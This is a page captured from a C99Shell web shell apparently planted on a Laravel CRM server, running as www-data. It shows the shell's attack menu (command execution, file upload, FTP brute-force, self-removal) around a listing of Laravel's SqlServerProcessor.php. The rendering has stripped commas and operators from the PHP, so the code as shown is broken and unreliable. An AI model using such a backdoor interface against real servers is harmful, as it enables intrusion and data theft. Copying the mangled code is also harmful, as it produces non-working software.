!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/laravel/framework/src/Illuminate/Database/Query/Processors/   drwxrwxrwx
Free 13.2 GB of 57.97 GB (22.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SqlServerProcessor.php (4.37 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Database\Query\Processors;

use 
Exception;
use 
Illuminate\Database\Connection;
use 
Illuminate\Database\Query\Builder;

class 
SqlServerProcessor extends Processor
{
    
/**
     * Process an "insert get ID" query.
     *
     * @param  \Illuminate\Database\Query\Builder  $query
     * @param  string  $sql
     * @param  array  $values
     * @param  string|null  $sequence
     * @return int
     */
    
public function processInsertGetId(Builder $query$sql$values$sequence null)
    {
        
$connection $query->getConnection();

        
$connection->insert($sql$values);

        if (
$connection->getConfig('odbc') === true) {
            
$id $this->processInsertGetIdForOdbc($connection);
        } else {
            
$id $connection->getPdo()->lastInsertId();
        }

        return 
is_numeric($id) ? (int) $id $id;
    }

    
/**
     * Process an "insert get ID" query for ODBC.
     *
     * @param  \Illuminate\Database\Connection  $connection
     * @return int
     *
     * @throws \Exception
     */
    
protected function processInsertGetIdForOdbc(Connection $connection)
    {
        
$result $connection->selectFromWriteConnection(
            
'SELECT CAST(COALESCE(SCOPE_IDENTITY(), @@IDENTITY) AS int) AS insertid'
        
);

        if (! 
$result) {
            throw new 
Exception('Unable to retrieve lastInsertID for ODBC.');
        }

        
$row $result[0];

        return 
is_object($row) ? $row->insertid $row['insertid'];
    }

    
/**
     * Process the results of a column listing query.
     *
     * @deprecated Will be removed in a future Laravel version.
     *
     * @param  array  $results
     * @return array
     */
    
public function processColumnListing($results)
    {
        return 
array_map(function ($result) {
            return ((object) 
$result)->name;
        }, 
$results);
    }

    
/**
     * Process the results of a columns query.
     *
     * @param  array  $results
     * @return array
     */
    
public function processColumns($results)
    {
        return 
array_map(function ($result) {
            
$result = (object) $result;

            
$type = match ($typeName $result->type_name) {
                
'binary''varbinary''char''varchar''nchar''nvarchar' => $result->length == -$typeName.'(max)' $typeName."($result->length)",
                
'decimal''numeric' => $typeName."($result->precision,$result->places)",
                
'float''datetime2''datetimeoffset''time' => $typeName."($result->precision)",
                default => 
$typeName,
            };

            return [
                
'name' => $result->name,
                
'type_name' => $result->type_name,
                
'type' => $type,
                
'collation' => $result->collation,
                
'nullable' => (bool) $result->nullable,
                
'default' => $result->default,
                
'auto_increment' => (bool) $result->autoincrement,
                
'comment' => $result->comment,
            ];
        }, 
$results);
    }

    
/**
     * Process the results of an indexes query.
     *
     * @param  array  $results
     * @return array
     */
    
public function processIndexes($results)
    {
        return 
array_map(function ($result) {
            
$result = (object) $result;

            return [
                
'name' => strtolower($result->name),
                
'columns' => explode(','$result->columns),
                
'type' => strtolower($result->type),
                
'unique' => (bool) $result->unique,
                
'primary' => (bool) $result->primary,
            ];
        }, 
$results);
    }

    
/**
     * Process the results of a foreign keys query.
     *
     * @param  array  $results
     * @return array
     */
    
public function processForeignKeys($results)
    {
        return 
array_map(function ($result) {
            
$result = (object) $result;

            return [
                
'name' => $result->name,
                
'columns' => explode(','$result->columns),
                
'foreign_schema' => $result->foreign_schema,
                
'foreign_table' => $result->foreign_table,
                
'foreign_columns' => explode(','$result->foreign_columns),
                
'on_update' => strtolower(str_replace('_'' '$result->on_update)),
                
'on_delete' => strtolower(str_replace('_'' '$result->on_delete)),
            ];
        }, 
$results);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0059 ]--